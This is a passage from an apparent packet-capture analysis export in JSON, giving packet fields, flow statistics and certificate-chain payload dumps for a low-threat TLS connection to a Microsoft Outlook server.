false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 126, \"timestamp\": 1782655313.076324, \"timestamp_iso\": \"2026-06-28T19:31:53.076324\", \"timestamp_human\": \"2026-06-28 19:31:53.076\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10503, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534346, \"tcp_ack\": 4211347471, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 18, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 262, 54, 54, 54, 54, 54, 212, 54, 141, 170, 92, 54, 118, 54, 124, 54, 54], \"inter_packet_intervals\": [0.0001220703125, 0.0001900196075439453, 0.3506438732147217, 0.0034601688385009766, 0.0005450248718261719, 0.0417637825012207, 0.002585172653198242, 0.006914854049682617, 0.3398711681365967, 0.0007879734039306641, 1.6927719116210938e-05, 5.0067901611328125e-05, 0.31840085983276367, 0.0007660388946533203, 0.5768411159515381, 0.001233816146850586, 0.4241781234741211, 0.005738973617553711], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.0741100311279297, \"avg_packet_size\": 93.63157894736842, \"packets_per_second\": 9.160555474324347, \"bytes_per_second\": 857.7172730959481, \"min_packet_size\": 54, \"max_packet_size\": 262, \"median_packet_size\": 54, \"avg_interval\": 0.11522833506266277, \"min_interval\": 1.6927719116210938e-05, \"max_interval\": 0.5768411159515381}, {\"source\": \"52.97.250.242\", \"target\": \"10.152.152.11\", \"packet_count\": 17, \"total_bytes\": 12189, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [64004], \"first_packet\": 1782655311.00224, \"last_packet\": 1782655313.070222, \"packets\": [{\"packet_number\": 90, \"timestamp\": 1782655311.00224, \"timestamp_iso\": \"2026-06-28T19:31:51.002240\", \"timestamp_human\": \"2026-06-28 19:31:51.002\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211336211, \"tcp_ack\": 4018533605, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 93, \"timestamp\": 1782655311.002532, \"timestamp_iso\": \"2026-06-28T19:31:51.002532\", \"timestamp_human\": \"2026-06-28 19:31:51.002\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63409, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211336212, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 94, \"timestamp\": 1782655311.353068, \"timestamp_iso\": \"2026-06-28T19:31:51.353068\", \"timestamp_human\": \"2026-06-28 19:31:51.353\", \"size\": 1518, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63410, \"ip_len\": 1504, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211336212, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 96, \"timestamp\": 1782655311.356534, \"timestamp_iso\": \"2026-06-28T19:31:51.356534\", \"timestamp_human\": \"2026-06-28 19:31:51.356\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63412, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211337676, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 488, \"payload_preview\": \"461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf\", \"payload_ascii\": \"F\\u001fV\\u0002\\\":D\\u000bw`6%I0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00050:\\u0006\\u0003U\\u001d\\u0011\\u0004301\\u0016places.cloud.microsoft\\u0017outlook.cloud.microsoft0\\f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00020\\u00000\\u0006\\u0003U\\u001d\\u001f\\u000400lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crlmhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f\\u0006\\u0003U\\u001d \\u0004_0]0Q\\u0006\\f+\\u0006\\u0001\\u0004\\u00017L}\\u0001\\u00010A0?\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0002\\u0001\\u00163http://www.microsoft.com/pkiops/Docs/Repository.htm0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014T\\f\\u0018}\\u00034dDg\"}, {\"packet_number\": 98, \"timestamp\": 1782655311.357064, \"timestamp_iso\": \"2026-06-28T19:31:51.357064\", \"timestamp_human\": \"2026-06-28 19:31:51.357\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63413, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211338164, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3416, \"payload_preview\": \"751f6530130603551d25040c300a06082b06010505070301300d06092a864886f70d01010c050003820201000b8233eaf48ac62dee66f91d7f48a957ca5b6d412250a456069217015644c86f70fb9f9ae036fac7747ac7012dba95edd6c66d5564fdd12f47eb3b458e96fad8538d06fce693def53d816cac1d3601dee05742355c51f4078d627f7b377d13679d43b8a4f4c437cccff470805732a3a1f64c291bf858b08977acb0be12a2978e14f920f7bdb00487c59ce8376acf1684faf32d4bd4d7b87ff369379f8651e5f44c238d5f001331fb01a3fd9d86fb29039037515862cabebd5b9aad5754d4637add547fb24136574594174dad714004b5e8a0211dcb39dc88de983d41ef2058ae557c918428e61c524669074034384927b909699c8a2fa6890ef813225a70a1e4cd50ad115decd7782e485fa2be0e7ef8e456c042bc0185da5fb76c0fd06bebb0d3b2a6e8c0a53498805a1633b351c7b1777b2fa9450972070f3e33392cc9f207a4a0a33c3258237ea4f5cdd07f4a21a82ac2e54372a0ef35d31eaeaae48e1e5f444afdc25dd40e2128bbee38d18a1db959cf53566019cb94dffbed27b156a0b72aa69d989c16362c955cba3c6568d58e41109697a28466395ba017b6a86d52aa456306fec524297cc9bc32838020522317072e66842207935d6ff9a74b27758d023a4d06844565547af323be12c096f1565665f1ba2da5416f336630318a57252082adf98074de885305f9a58256ed1a95f76efcd3ab7797fee7102ac556ea700007bc308207b8308205a0a0030201020213330000000b13e5667d4a9b558000000000000b300d06092a864886f70d01010c05003051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f74204732301e170d3235303830313230303235395a170d3239303630333230303235395a3057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f43535020303430820222300d06092a864886f70d01010105000382020f003082020a02820201009c3a24085a1892f29ed560cde2e6fb8047db44ae2bdd6d107021154529aad2c7dce6c442b1a08d52e04f5c395506364d17c1586634e285529fe2a4fec6dec2c23b86bfcaad872906eb1d491d5f81dbb7a4ac561ad61287fd5f4049e2a00c6a84c64e6fdf24b89a95745a597fade93c13157840ccecdaef88364a90deea630794c3836a1aae98e6f164805a296704e856f421a6c5468dc8dd02abbc06f06c477823bb38b0bbfb4d71b0df22c37f1a7ef99daa412ad1de68dd9574253866c91611c5593d2ab168b9933b66e83ce1fca7ff2c6b50e0c0b9c8717393b177bfedaa4d0e0a55db139c72e069ad814cda23f906cb3fed428a868c0dd20c1525d08668eb7856aa2e5c08b34d33804eee353c2fc37a7dc16672606890f4ebf608ec13d789925f5c52f4879578b136e1b342536e3a373707c873751ebb5d6e67c99a7ccb4af3c6cdf04ef586fb143519463d97867264dd4336efd4578200220ca33aedb3657065f982a5bab8d2eac0688a3537a040f5fe028966a830f89447625747b27b9b8cc795bceb9af6c68c4489db16e61efde789fc81353530ea2f7d896452b3461934e33b574f0a182031efc5fdb9b127f6975935fb0ac244d6d0b2ed554d1d57487512d7f29860169ec4069cd4ae7e2e65c753e422251830636a9057c594b4f7e54d4c0d54c71fa93d4d0a460962d0232251e38e374cc5f40140990582d3a2b0530203010001a38202813082027d300e0603551d0f0101ff040403020186301006092b06010401823715010403020100301d0603551d0e04160414540cbcec18f77df103e284be34644467cf751f6530130603551d20040c300a3008060667810c01020230130603551d25040c300a06082b06010505070301301906092b0601040182371402040c1e0a0053007500620043004130120603551d130101ff040830060101ff020100301f0603551d23041830168014de918648b7a1315931f14b5f07a9dc8879daa8763081ab0603551d1f0481a33081a030819da0819aa081978649687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c864a687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322e63726c3082011006082b06010505070101048201023081ff306306082b060105050730028657687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274306906082b06010505073002865d687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230525341253230526f6f7425323047322532302d253230787369676e2e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370300d06092a864886f70d01010c050003820201007c4871c2b6c045ab740fc63f49e2fc0fd675fdcd50d1e04bb3b3d1a8995ffe5d350d6c0bddd0ad6160188938e2f0b735d2b5213a0c0e5899387cd4d7dd024dd4dcf5ee90e37b6793a8acd41b50bbc54fe6d3f1b51ef0ff99bc2333b0c8a8a627d6d15bed6f14de4b071a0c50fd0edfbeeb4fb29810cb222ae61dd74ba7ae15d10136090b86434f4ee7c57e5ca36b832e493e9488998b52d3963f7198242f3782fa6c74f2bcdb0621bbb85067702415b60b228ff7b927e4037c8495b76604a99255c2bd11c7210a727f65c060a65049e9f62348203a8e9226a8178c98af14a73dce4cadc08e8c3c44f17ffb13f914d77b333d105e64e7273d0c4ce271d766ceaef74eb664ba542bb7fd03d798679837b20a6320e5b0fbd8a48d3a2e42229a22f42655833015c7a242b3bfd036c53652a773677a736e54acbce989d8a5eb1f6dac2750c4c8ebd41c54294dbbb6deabd7c7f11f1464ba7f473165ef797d14c4f019e48076e73b28009b446f2457f507dc8e5ab400589756b10bfa087571de1b53c8eebdf0ab224cbd6bba5d8a44593c246baabce97d8b5f4a4dd78c54b0ab769b80284d457465106021f98e795fda92fb178400dbc4ae8259813c27779e56f707c8bdbe3d91c5978ae69c0f591658486c7da41632ed16c92da796f5e4fdc5cf65a4ddd700e8c90ef49db2a40280cc1bf028ebb03177349ec3ccd7c89b36bbc525e200058d3082058930820471a00302010202100b0c6b2c466917b04773c647d4afc0c8300d06092a864886f70d01010c05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3235303532313030303030305a170d3239303631393233353935395a3051310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31223020060355040313194d6963726f736f667420544c532052534120526f6f7420473230820222300d06092a864886f70d01010105000382020f003082020a0282020100dfea8b9f47e1281071af41d619db9257de6babe62edead3a6083b71398ac5bb9320b7beb9f72276b5d40abbe180693b20dd212edb874f57f2feaa81794f63316578ade207c21ddb7daacde4e64b05acd4b75f3ef02644ded52daa38f04e891f8d7fb3f19fd4e45395ee829c3d6f267afb30094c18de1f04a189839fac009843341050305abf475e153a521925c444ce66057a4900297c7d5d89304324aed8551edd6c5baa03f368a2f6f4c39a8046922843b7514f7d93eb4a9d0074138817e46481de819e670b8a0aa18dd72bf7e7db56c4e19701184041381d462fd9c6bf11cddffeca7e0e6c78d314bbff26b33ccd18cb6feb11ba34aa85f0e7f3176383f07476c01a8aca514da82b05f1f6cbc891ac0122acb7b971f282e31168a534c7566f97d01d6c260aa658f319e72cbcc9b2de544199357ab6e8ec2d92e65b0722de7a1c3a17e491d5967d609d418126dc0954578c9f1606ae4f6ee06243b734a5a11c23e9761c078eeef13a730e24a382dee58171320b7362adf0b32b4c238b191dd12b045b67cc0b11d62a19ddd71121596019d0a09f5b1ddb3d9e0384234f669b6c3af1673fed443f843e458f94fb3f3ecd63d943a403815ab0c86d064ce1a63e8849455095ab604b6d13e9a15c7641180d01b820e4dff459eb26507251fdb9ac8c6ecd65b8550049f1ccb5d2082679e79e2dfe8f2e86fc420723086e59d7527350203010001a382014b30820147300f0603551d130101ff040530030101ff301d0603551d0e04160414de918648b7a1315931f14b5f07a9dc8879daa876301f0603551d2304\", \"payload_ascii\": \"u\\u001fe0\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000\\u000b3-f\\u001d\\u007fHW[mA\\\"PV\\u0006\\u0017\\u0001VDop6tz\\u0001-mUd/G;ES\\u0006=l\\u001d6\\u0001WB5\\\\Q\\u0007b\\u007f{7}\\u0013gC7pW2L)\\u001bXw\\u0012\\u0014 \\u00047j\\u0016-K\\u007fi7QL#_\\u0000\\u00131\\u0001)\\u00037QXb[WTczT\\u007fA6WE\\u0017Mq@\\u0004!\\u001d9=A XU|(\\u001cRFi\\u0007@48I'\\ti/\\u000e\\u0013\\\"ZpP\\u0011]x.H_\\u000e~VB\\u0001_l\\u000fk4Z\\u00163Qw{/E\\tr\\u0007\\u000f>39,\\u0007<2X#~\\u007fJ!*Cr5\\u001e\\u001e_DJ]\\u000e!(8\\u001dYSV`\\u0019'V*\\u00166,\\\\<ehA\\u0010f9[\\u0017mREc\\u0006$)|2 R#\\u0017\\u0007.f\\\"\\u0007]oK'u\\u0002:M\\u0006EeTz#\\u0012VVe-Ao3f01W% tS\\u0005V\\u001anw\\u0010*Vp\\u0000\\u00070\\u00070\\u0005\\u0003\\u0002\\u0001\\u0002\\u0002\\u00133\\u0000\\u0000\\u0000\\u000b\\u0013f}JU\\u0000\\u0000\\u0000\\u0000\\u0000\\u000b0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u001e\\u0017\\r250801200259Z\\u0017\\r290603200259Z0W1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1(0&\\u0006\\u0003U\\u0004\\u0003\\u0013\\u001fMicrosoft TLS G2 RSA CA OCSP 040\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000:$\\bZ\\u0018`GD+m\\u0010p!\\u0015E)BRO\\\\9U\\u00066M\\u0017Xf4R;)\\u0006\\u001dI\\u001d_V\\u001a\\u0012_@I\\fjNo$tZY\\u007f<\\u0013\\u0015x@6Jc\\u0007j\\u001adZ)g\\u0004V!F\\u0002\\u0006lGx#8Mq\\\"\\u007f\\u001a~A*ht%8f\\u0016\\u0011Y=*h;f<,kPqswM\\u000e\\nU\\u0013riL#\\u0006?B\\r\\f\\u0015%hxV.\\\\\\bM3N5</z}fr`h\\b\\u0013_\\\\Rx6BSn:77\\u0007su\\u001e]ng|JN\\u00145\\u0019F=rdC6W\\u0000\\\"\\f:epeh57@\\u0002f0GbWG{D\\u0016\\u001e550/}dRF\\u00194;WO\\n\\u0018 1'Y5\\nDUM\\u001dWHu\\u0012`\\u0016\\u0006~.eS\\\"%\\u00180cjWML\\rT\\u001f=M\\nF\\tb#\\\"Q7L\\u0001@\\u0005S\\u0002\\u0003\\u0001\\u0000\\u0001\\u00020\\u0002}0\\u000e\\u0006\\u0003U\\u001d\\u000f\\u0001\\u0001\\u0004\\u0004\\u0003\\u0002\\u00010\\u0010\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0015\\u0001\\u0004\\u0003\\u0002\\u0001\\u00000\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014T\\f\\u0018}\\u00034dDgu\\u001fe0\\u0013\\u0006\\u0003U\\u001d \\u0004\\f0\\n0\\b\\u0006\\u0006g\\f\\u0001\\u0002\\u00020\\u0013\\u0006\\u0003U\\u001d%\\u0004\\f0\\n\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0003\\u00010\\u0019\\u0006\\t+\\u0006\\u0001\\u0004\\u00017\\u0014\\u0002\\u0004\\f\\u001e\\n\\u0000S\\u0000u\\u0000b\\u0000C\\u0000A0\\u0012\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\b0\\u0006\\u0001\\u0001\\u0002\\u0001\\u00000\\u001f\\u0006\\u0003U\\u001d#\\u0004\\u00180\\u0016\\u0014H1Y1K_\\u0007yv0\\u0006\\u0003U\\u001d\\u001f\\u000400Ihttp://www.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crlJhttp://crl2.microsoft.com/pkiops/crl/Microsoft%20TLS%20RSA%20Root%20G2.crl0\\u0001\\u0010\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u0007\\u0001\\u0001\\u0004\\u0001\\u000200c\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002Whttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0i\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0002]http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20RSA%20Root%20G2%20-%20xsign.crt0-\\u0006\\b+\\u0006\\u0001\\u0005\\u0005\\u00070\\u0001!http://oneocsp.microsoft.com/ocsp0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u0000\\u0003\\u0002\\u0001\\u0000|HqEt\\u000f?I\\u000fuPK_]5\\rl\\u000ba`\\u001885!:\\f\\u000eX8|\\u0002M{g\\u001bPO\\u001e#3'[o\\u0014K\\u0007\\u001a\\fP\\u000eO\\u0010\\\"*\\u001dK\\u0015\\u00016\\t\\u000bCON~\\\\k.I>R?q$/7lt\\u0006!Pgp$\\u0015\\u000b\\\"'\\u0003|f\\u0004U\\u0011!\\nr\\u007fe`PI#H :&\\u0017\\u0014=L<D\\u007f\\u0013\\u0014{3=\\u0010^d'=\\fLqfNdT+\\u0003g7\\nc :.B\\\"\\\"&U0\\u0015B66RsgzsnT\\u001fm'P\\u001cT)M\\u001f\\u0014d\\u007fG1ey}\\u0014\\u0019v;(\\u0000Do$W\\u0007Z\\u0000XV\\u000b\\buq\\u001bS\\\"Lk]DY<$k}_JMTv(MEte\\u0010`!y_\\u0017\\u0000Y<'wV\\u0007=\\u000fY\\u0016XHl}\\u00162\\u0016-e\\u0000\\u000e\\u0002\\u001b(1w46%\\u0000\\u00050\\u00050\\u0004q\\u0003\\u0002\\u0001\\u0002\\u0002\\u0010\\u000b\\fk,Fi\\u0017GsG0\\r\\u0006\\t*H\\r\\u0001\\u0001\\f\\u0005\\u00000a1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u00150\\u0013\\u0006\\u0003U\\u0004\\n\\u0013\\fDigiCert Inc1\\u00190\\u0017\\u0006\\u0003U\\u0004\\u000b\\u0013\\u0010www.digicert.com1 0\\u001e\\u0006\\u0003U\\u0004\\u0003\\u0013\\u0017DigiCert Global Root G20\\u001e\\u0017\\r250521000000Z\\u0017\\r290619235959Z0Q1\\u000b0\\t\\u0006\\u0003U\\u0004\\u0006\\u0013\\u0002US1\\u001e0\\u001c\\u0006\\u0003U\\u0004\\n\\u0013\\u0015Microsoft Corporation1\\\"0 \\u0006\\u0003U\\u0004\\u0003\\u0013\\u0019Microsoft TLS RSA Root G20\\u0002\\\"0\\r\\u0006\\t*H\\r\\u0001\\u0001\\u0001\\u0005\\u0000\\u0003\\u0002\\u000f\\u00000\\u0002\\n\\u0002\\u0002\\u0001\\u0000G(\\u0010qA\\u0019Wk.:`\\u0013[2\\u000b{r'k]@\\u0018\\u0006\\r\\u0012t\\u007f/\\u00173\\u0016W |!NdZKu\\u0002dMR\\u0004?\\u0019NE9^)g\\u0000J\\u00189\\t3A\\u0005\\u0003\\u0005uS!\\\\DL`W\\u0002\\u00042JQ?6/oL9\\u0004i\\\";u\\u0014>\\u0007A8~FH\\u001d\\u0019p\\u0018r~}lN\\u0019p\\u0011\\u0004\\u0013bk\\u001c1Kk3\\u001bJ_\\u000e\\u007f1v8?\\u0007Gl\\u0001\\u0014_\\u001fl\\u001a\\u0012*{\\u001f(.1\\u0016SLuf}\\u0001`e1r-D\\u0019Wn.er-~I\\u001dYg\\t\\u0018\\u0012mEx`j\\u0006$;sJZ\\u0011>ax\\u00130J8-X\\u0017\\u0013 6*\\u000b28\\u0012E|\\u001dbq\\u0012\\u0015\\u0001\\n\\t8B4i\\u0016sCCXO=:@8\\u0015\\fd\\u001acU\\tZ\\u0004>\\u0015d\\u0011\\u001b\\u000eMEe\\u0007%\\u001f[P\\u0004\\u001c] gyo r0u'5\\u0002\\u0003\\u0001\\u0000\\u0001\\u0001K0\\u0001G0\\u000f\\u0006\\u0003U\\u001d\\u0013\\u0001\\u0001\\u0004\\u00050\\u0003\\u0001\\u00010\\u001d\\u0006\\u0003U\\u001d\\u000e\\u0004\\u0016\\u0004\\u0014H1Y1K_\\u0007yv0\\u001f\\u0006\\u0003U\\u001d#\\u0004\"}, {\"packet_number\": 100, \"timestamp\": 1782655311.398729, \"timestamp_iso\": \"2026-06-28T19:31:51.398729\", \"timestamp_human\": \"2026-06-28 19:31:51.398\", \"size\": 1030, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.250.242\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 63416, \"ip_len\": 1016, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64004, \"tcp_seq\": 4211341580, \"tcp_ack\": 4018533813, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 976, \"payload_preview\": \"18301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070301307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c30130603551d20040c300a3008060667810c010202300d06092a864886f70d01010c050003820101000bbcb42b3774c54ba7360236c6afe113cc8a9a971bfce3448cee5400e5e4411a46f00b7634ff99556235aaad8a9c0c5a62cc43c0cbea4a1dbd6b1dafb11925669cf7796e5b2580248185c7792d355f420978ed9fe265d5c4205082108f6a3aed188e4889aba609f8e180fc06751627255a8fb83a706c1847f063f4530ed9153520f3913d1301a0e2fa2408455677d167a93142d057ff1a26bec543d857a963ffaff33ad8f67b4b10a297a1cf66be676709f9b54ce7ab192bbf223d7ddec6f7ef63382cdd56c4f90952dadfe3886fd56d6bf708412f8e3e86319ff17c4af5d661a4464628ef57bab06f92d8d27725ed7ba629ce3b727911d4e0a7546d352ba47a160007410100073d308207390a0100a08207323082072e06092b06010505073001010482071f3082071b3081c5a2160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e180f32303236303632383132333330355a308199308196304c300906052b0e03021a050004141580966a099dcdaf6d8948b10b78dc4bff67de570414540cbcec18f77df103e284be34644467cf751f65021343000ab40354ebc89cc9d01f0f0000000ab4038000180f32303236303632383130313330385aa011180f32303236303730363130333330385aa120301e301c06092b0601040182371504040f170d3236303730363130333330385a300b06092a864886f70d01010b0382010100743fffc28350cca4b0fd7385d72dff2fcab0d8168d2017222022937e7a4a3eb0fc7aeeabcd685c64fac3ba5335102a5d22cdf92633393f89145cb291be719206c074ff655116165b97c50c15c31540753c2ee87a30a18b61f45f9507dfffb08e7ad48e56f910fbbd9d5c6484590a6f8911e50e70e600017bf40e96880211812bd57dc353e508299cc77360f549619beefa8ff69865542ed4f9e2c20da2cefa10d7bd9e50beef7eb074\", \"payload_ascii\": \"\\u00180\\u0016\\u0014N\\\"T 